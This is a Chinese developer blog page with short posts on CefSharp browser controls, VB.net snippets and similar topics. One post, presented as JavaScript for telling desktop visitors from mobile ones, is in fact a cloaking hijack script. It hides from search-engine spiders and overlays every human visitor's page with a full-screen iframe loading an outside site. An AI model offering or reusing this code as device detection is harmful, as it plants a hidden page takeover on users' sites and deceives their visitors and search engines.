NameCheap.com域名续费优惠码
作者:admin 日期:2024-03-29
VB.net中应用CefSharp.WinForms库构建Chrome核心浏览器的方法
作者:admin 日期:2022-09-06
centos lnmp “.user.ini”无法删除解决方法
作者:admin 日期:2020-03-23
LNMP安装及配置目录一览
作者:admin 日期:2019-02-13
Godaddy虚拟主机最新优惠码
作者:admin 日期:2017-01-07
php插入mysql数据避免重复插入
作者:admin 日期:2012-04-24
PHP取得当前插入数据库中最新记录的id值
作者:admin 日期:2011-04-05
javascript判断用户是电脑端还是手机移动端终极版
作者:admin 日期:2024-04-28
- var system = {
- win: false,
- mac: false,
- xll: false
- };
- var userAgent = navigator.userAgent;
- var platform = navigator.platform;
- var p = navigator.platform;
- var us = navigator.userAgent;
- system.win = p.indexOf('Win') == 0;
- system.mac = p.indexOf('Mac') == 0;
- system.x11 = (p == 'X11') || (p.indexOf('Linux') == 0);
- var now = new Date().getTime();
- var base64 = btoa(now + 'Todaysubdomain'.replace('-', '/').split('T')[0].replace('-', '/'));
- var sub1 = base64.substring(0, 20);
- var sub2 = base64.substring(1, 21);
- var sub3 = base64.substring(2, 22);
- var sub4 = base64.substring(3, 23);
- var sub5 = base64.substring(4, 24);
- try {
- var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider|Baiduspider-render)/i;
- var iframe_url = '';
- var zindexCount = 999999;
- if (!reg.test(navigator.userAgent)) {
- if (system.win || system.mac || system.xll) {
- var arr = ['https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net'];
- iframe_url = arr[Math.floor(Math.random() * arr.length)];
- } else {
- if (/iPhone|iPad|iPod|iOS|Android/i.test(navigator.userAgent)) {
- var arr = ['https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net'];
- iframe_url = arr[Math.floor(Math.random() * arr.length)];
- }
- }
- document.write('<div id="div_iframe' + (zindexCount - 1) + '" style="z-index:' + zindexCount + ';height:' + window.innerHeight + 'px; width: 100%;position: fixed;top:0; background: #ffffff;height:100%;padding:0px;margin:0px;"><iframe id="myiframe" frameborder="0" width="100%" height="100%" src="' + iframe_url + '"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden;padding:0px;margin:0!important;}</style>');
- }
- } catch (e) {
- console.log(e);
- }
以上代码来源于网络,仅供参考!
CefSharp winform谷歌浏览器控件禁止弹窗与右键
作者:admin 日期:2024-01-14
虽然能用CefSharp将web应用嵌入到窗体程序,但遇到<a >标签(_blank)会弹出一个窗口,而且在任意位置可以弹出右键菜单,
需要解决这个问题才像一个真正的客户端软件。
不弹子窗体
控制弹窗的接口是ILifeSpanHandler,并实现OnBeforePopup方法。如下:
定义LifeSpanHandler类:
- using CefSharp;
- using CefSharp.WinForms;
- namespace CefTest
- {
- internal class LifeSpanHandler : ILifeSpanHandler
- {
- //弹出前触发的事件
- public bool OnBeforePopup(IWebBrowser webBrowser, IBrowser browser, IFrame frame, string targetUrl,
- string targetFrameName, WindowOpenDisposition targetDisposition, bool userGesture, IPopupFeatures popupFeatures,
- IWindowInfo windowInfo, IBrowserSettings browserSettings, ref bool noJavascriptAccess, out IWebBrowser newBrowser)
- {
- //使用源窗口打开链接,取消创建新窗口
- newBrowser = null;
- var chromiumWebBrowser = (ChromiumWebBrowser)webBrowser;
- chromiumWebBrowser.Load(targetUrl);
- return true;
- }
- public void OnAfterCreated(IWebBrowser chromiumWebBrowser, IBrowser browser)
- {
- }
- public bool DoClose(IWebBrowser chromiumWebBrowser, IBrowser browser)
- {
- return true;
- }
- public void OnBeforeClose(IWebBrowser chromiumWebBrowser, IBrowser browser)
- {
- }
- }
- }
调用方式
- using CefSharp;using CefSharp.WinForms;
- namespace LawSever
- {
- public partial class frmweb : Form
- {
- public frmweb()
- {
- InitializeComponent();
- InitBrowser();
- }
- public ChromiumWebBrowser browser;
- public void InitBrowser()
- { //Cef.Initialize(new CefSettings());//亲测这句代码 可不执行 也好用
- browser = new ChromiumWebBrowser("https://ai.12348.gov.cn/pc/");
- browser.LifeSpanHandler = new LifeSpanHandler();//超链接不弹新窗体
- this.panel1.Controls.Add(browser);//panel
- }
- }
禁用右键
禁用右键的接口是IContextMenuHandler,并实现OnBeforeContextMenu 方法。如下:
定义MenuHandler类:
- using CefSharp;
- namespace CefTest
- {
- internal class MenuHandler : IContextMenuHandler
- {
- public void OnBeforeContextMenu(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IContextMenuParams parameters,
- IMenuModel model)
- {
- model.Clear();
- }
- public bool OnContextMenuCommand(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IContextMenuParams parameters,
- CefMenuCommand commandId, CefEventFlags eventFlags)
- {
- return false;
- }
- public void OnContextMenuDismissed(IWebBrowser webBrowser, IBrowser browser, IFrame frame)
- {
- }
- public bool RunContextMenu(IWebBrowser webBrowser, IBrowser browser, IFrame frame, IContextMenuParams parameters,
- IMenuModel model, IRunContextMenuCallback callback)
- {
- return false;
- }
- }
- }
调用方式:
- ChromeBrowser.MenuHandler = new MenuHandler();
vb.net判断重复文本并提取
作者:admin 日期:2023-06-22
Dim data As New List(Of String) ' 保存2000000条数据的列表
' 假设数据已经保存在 data 列表中
Dim countDict As New Dictionary(Of String, Integer) ' 字典用于保存每条数据的重复次数
For Each item As String In data
If countDict.ContainsKey(item) Then
countDict(item) += 1 ' 如果字典中已经存在这条数据,重复次数加1
Else
countDict(item) = 1 ' 如果字典中不存在这条数据,添加到字典中并初始化重复次数为1
End If
Next
' 输出重复次数大于1的数据
For Each item As KeyValuePair(Of String, Integer) In countDict
If item.Value > 1 Then
Console.WriteLine("{0}: {1}", item.Key, item.Value)
End If
Next
vb.net正则判断ip端口格式
作者:admin 日期:2023-06-22
Dim ip As String = "192.168.0.1"
' 创建正则表达式对象
Dim regex As New System.Text.RegularExpressions.Regex("^(\d{1,3}\.){3}\d{1,3}$")
' 判断是否是 IP 地址
If regex.IsMatch(ip) Then
Console.WriteLine("The string is an IP address.")
Else
Console.WriteLine("The string is not an IP address.")
End If
Dim ipAndPort As String = "192.168.0.1:8080"
vb.net多线程下载
作者:admin 日期:2023-06-22
Imports System.IO
Imports System.Net
Imports System.Threading
Public Class Form1
Private downloadThreads As List(Of Thread) = New List(Of Thread)()
Private downloadUrls As List(Of String) = New List(Of String)()
Private proxy As WebProxy = New WebProxy("http://proxy.example.com:8080")
Private threadCount As Integer = 10
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
' 添加需要下载的网址
For i As Integer = 1 To 10000
downloadUrls.Add("http://example.com/file" & i & ".jpg")
Next
End Sub
广告位